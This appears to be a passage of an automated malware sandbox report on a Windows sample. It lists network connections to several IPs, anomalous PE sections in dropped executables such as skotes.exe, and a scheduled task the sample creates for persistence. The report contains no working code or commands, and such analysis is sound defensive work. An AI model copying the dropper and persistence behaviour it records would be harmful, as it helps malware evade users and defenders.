Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826

Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.149:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.6:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50187 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.15.dr	Static PE information: section name:
Source: random[1].exe.15.dr	Static PE information: section name: .idata
Source: 06339d0580.exe.15.dr	Static PE information: section name:
Source: 06339d0580.exe.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: 2bbe886987.exe.15.dr	Static PE information: section name:
Source: 2bbe886987.exe.15.dr	Static PE information: section name: .rsrc
Source: 2bbe886987.exe.15.dr	Static PE information: section name: .idata
Source: 2bbe886987.exe.15.dr	Static PE information: section name:
Source: random[1].exe1.15.dr	Static PE information: section name:
Source: random[1].exe1.15.dr	Static PE information: section name: .idata
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name:
Source: 23e9bcc0a0.exe.15.dr	Static PE information: section name: .idata
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name:
Source: DocumentsJEHJKJEBGH.exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 15_2_0079CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

15_2_0079CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00407049	1_2_00407049
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00408860	1_2_00408860
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004078BB	1_2_004078BB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004D8101	1_2_004D8101
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004031A8	1_2_004031A8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_003C4B30	1_2_003C4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004D7B6E	1_2_004D7B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00402D10	1_2_00402D10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_003C4DE0	1_2_003C4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_003F7F36	1_2_003F7F36
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0040779B	1_2_0040779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007C8860	4_2_007C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007C7049	4_2_007C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007C78BB	4_2_007C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007C31A8	4_2_007C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00784B30	4_2_00784B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007C2D10	4_2_007C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00784DE0	4_2_00784DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007B7F36	4_2_007B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007C779B	4_2_007C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C8860	5_2_007C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C7049	5_2_007C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C78BB	5_2_007C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C31A8	5_2_007C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00784B30	5_2_00784B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C2D10	5_2_007C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00784DE0	5_2_00784DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007B7F36	5_2_007B7F36
